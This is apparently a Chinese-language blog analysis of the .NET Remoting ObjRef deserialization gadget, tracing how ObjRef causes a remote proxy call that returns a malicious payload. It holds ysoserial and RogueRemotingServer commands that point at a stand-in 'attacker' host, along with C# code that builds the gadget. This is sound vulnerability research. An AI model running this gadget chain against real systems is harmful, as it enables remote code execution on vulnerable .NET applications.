dotnet ObjRef Gadget 分析

Contents

dotnet ObjRef Gadget 分析

分析

https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html

https://github.com/codewhitesec/RogueRemotingServer

ObjRef 简单来说就是引用传递 (by reference) 在 .NET Remoting 中的实现方式

与按值传递 (by value) 的对象需要实现 Serializable 特性 (或 ISerializable 接口) 相对应, 按引用传递的对象需要继承 MarshalByRefObject 抽象类

这些类在序列化时都会被 RemotingSurrogateSelector 返回的 RemotingSurrogate 替换为 ObjRef, 而在反序列化时 ObjRef 会创建对应对象的远程代理 (RemotingProxy)

后续针对代理对象的方法调用都会被封装成 MethodCall 并发送至远程服务器, 服务器调用实际被引用对象的方法, 然后将返回值封装为 MethodResponse 并发送回客户端

ObjRef 类似于 JRMPClient (sun.rmi.server.UnicastRef)

RogueRemotingServer 类似于 JRMPListener

1
2
3
4
5
6
7
8
# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe > MSPaint.soap

# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap

# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t

BinaryFormatter/SoapFormatter 在反序列化 ObjRef 时会调用 GetRealObject

DoFixups

ResolveObjectReference

ObjRef 实现了 IObjectReference 和 ISerializable 接口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
namespace System.Runtime.Serialization {
 
    using System;
    using System.Security.Permissions;
    // Interface does not need to be marked with the serializable attribute
[System.Runtime.InteropServices.ComVisible(true)]
    public interface IObjectReference {
        [System.Security.SecurityCritical]  // auto-generated_required
        Object GetRealObject(StreamingContext context);
    }
}

GetRealObject 内部会调用 RemotingServices.Unmarshal 创建远程对象代理 (RemotingProxy)

https://referencesource.microsoft.com/#mscorlib/system/runtime/remoting/objref.cs,a8996f5d386e38e5,references

然后反序列化外层的 Exception 类, 使得在恢复其 ClassName 属性时调用 ObjRef 的 ToString 方法, 触发远程代理调用

远程代理将调用信息序列化后发送至服务端, 然后服务端返回恶意序列化数据, 最后在客户端触发反序列化

构造 payload 时需要调用 ObjRef 的 SetObjRefLite/SetWellKnown 方法, 原因如下

https://referencesource.microsoft.com/#mscorlib/system/runtime/remoting/remotingservices.cs,f4b5728ed1a2eb3e,references

RemotingServices.Unmarshal

如果 IsWellFormed 方法返回 false, 则会抛出异常, 导致无法创建远程代理

IsWellFormed 的返回值由 IsObjRefLite 或 IsWellKnown 决定

https://referencesource.microsoft.com/#mscorlib/system/runtime/remoting/objref.cs,daa752a1047f9d1e,references

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
using System;
using System.Reflection;
using System.Runtime.Remoting;
using System.Runtime.Serialization;

namespace ConsoleApp.Gadget
{
    internal class ObjRefGenerator
    {
        public static object Create(string uri)
        {
            ObjRef objRef = new ObjRef()
            {
                URI = uri
            };

            typeof(ObjRef).InvokeMember("SetObjRefLite", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.InvokeMethod, null, objRef, null);

            return new ObjRefWrappingException(objRef);
        }
    }

    [Serializable]
    internal class ObjRefWrappingException : ISerializable
    {
        private readonly ISerializable objRef;

        public ObjRefWrappingException(ISerializable objRef)
        {
            this.objRef = objRef;
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(Exception));
            info.AddValue("ClassName", objRef, typeof(object));
        }
    }
}

再看 RogueRemotingServer, 其核心思路就是实现一个自定义的 RogueServerChannelSinkProvider

根据协议类型分别创建对应的 ServerChannel, 传入自定义的 sinkProvider

然后调用 ChannelServices.RegisterChannel 注册 Channel, 跟正常的 .NET Remoting 流程类似

RogueServerChannelSinkProvider 的 CreateSink 方法返回一个自定义的 RogueServerChannelSink

RogueServerChannelSink 使用 ProcessMessage 方法处理数据

方法内部根据协议类型通过 responseStream 返回对应的 BinaryFormatter/SoapFormatter payload

0%